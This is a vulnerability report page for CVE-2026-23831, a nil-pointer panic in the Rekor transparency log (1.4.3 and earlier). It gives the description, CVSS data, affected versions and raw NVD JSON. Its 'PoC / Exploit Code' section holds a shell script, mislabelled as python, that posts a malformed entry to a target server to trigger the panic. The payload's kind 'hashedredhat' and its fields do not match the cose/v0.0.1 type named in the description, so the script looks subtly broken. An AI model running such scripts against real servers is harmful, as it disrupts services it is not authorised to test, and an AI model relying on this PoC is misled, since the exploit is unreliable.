Security Vulnerability Report
中文
CVE-2026-23831 CVSS 5.3 MEDIUM

CVE-2026-23831

Published: 2026-01-22 22:16:20
Last Modified: 2026-02-02 15:06:43

Description

Rekor is a software supply chain transparency log. In versions 1.4.3 and below, the entry implementation can panic on attacker-controlled input when canonicalizing a proposed entry with an empty spec.message, causing nil Pointer Dereference. Function validate() returns nil (success) when message is empty, leaving sign1Msg uninitialized, and Canonicalize() later dereferences v.sign1Msg.Payload. A malformed proposed entry of the cose/v0.0.1 type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal. This issue has been fixed in version 1.5.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:rekor:*:*:*:*:*:*:*:* - VULNERABLE
Rekor < 1.5.0
Rekor <= 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-23831 PoC - Rekor nil pointer dereference DoS # Target: Rekor server < 1.5.0 # Type: Denial of Service via malformed entry TARGET_URL="${REKOR_SERVER_URL}" # Create a malformed Rekor entry with empty message # This JSON represents a cose/v0.0.1 type entry with empty spec.message MALFORMED_ENTRY='{ "apiVersion": "0.0.1", "kind": "hashedredhat", "spec": { "message": "", "signature": "aabbccdd", "publicKey": "cmVhZG9ubHk=" } }' # Send the malformed entry to trigger panic echo "Sending malformed entry to trigger CVE-2026-23831..." RESPONSE=$(curl -s -w "\n%{http_code}" -X POST \ -H "Content-Type: application/json" \ -d "$MALFORMED_ENTRY" \ "$TARGET_URL/api/v1/addentry") HTTP_CODE=$(echo "$RESPONSE" | tail -n1) BODY=$(echo "$RESPONSE" | sed '$d') echo "HTTP Response Code: $HTTP_CODE" echo "Response Body: $BODY" if [ "$HTTP_CODE" == "500" ]; then echo "[+] Vulnerability confirmed: Server returned 500 error (panic occurred)" else echo "[*] Unexpected response - may indicate patch or different behavior" fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23831", "sourceIdentifier": "[email protected]", "published": "2026-01-22T22:16:19.523", "lastModified": "2026-02-02T15:06:43.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rekor is a software supply chain transparency log. In versions 1.4.3 and below, the entry implementation can panic on attacker-controlled input when canonicalizing a proposed entry with an empty spec.message, causing nil Pointer Dereference. Function validate() returns nil (success) when message is empty, leaving sign1Msg uninitialized, and Canonicalize() later dereferences v.sign1Msg.Payload. A malformed proposed entry of the cose/v0.0.1 type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal. This issue has been fixed in version 1.5.0."}, {"lang": "es", "value": "Rekor es un registro de transparencia de la cadena de suministro de software. En las versiones 1.4.3 e inferiores, la implementación de entrada puede entrar en pánico con una entrada controlada por el atacante al canonizar una entrada propuesta con un spec.message vacío, causando una desreferenciación de puntero nulo. La función validate() devuelve nil (éxito) cuando el mensaje está vacío, dejando sign1Msg sin inicializar, y Canonicalize() desreferencia posteriormente v.sign1Msg.Payload. Una entrada propuesta malformada del tipo cose/v0.0.1 puede causar un pánico en un hilo dentro del proceso de Rekor. El hilo se recupera por lo que el cliente recibe un mensaje de error 500 y el servicio aún continúa, por lo que el impacto en la disponibilidad de esto es mínimo. Este problema ha sido solucionado en la versión 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:rekor:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "046CFEF8-2DAB-4D9A-AD13-CB83A9EB462E"}]}]}], "references": [{"url": "https://github.com/sigstore/rekor/commit/39bae3d192bce48ef4ef2cbd1788fb5770fee8cd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sigstore/rekor/releases/tag/v1.5.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/sigstore/rekor/security/advisories/GHSA-273p-m2cw-6833", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}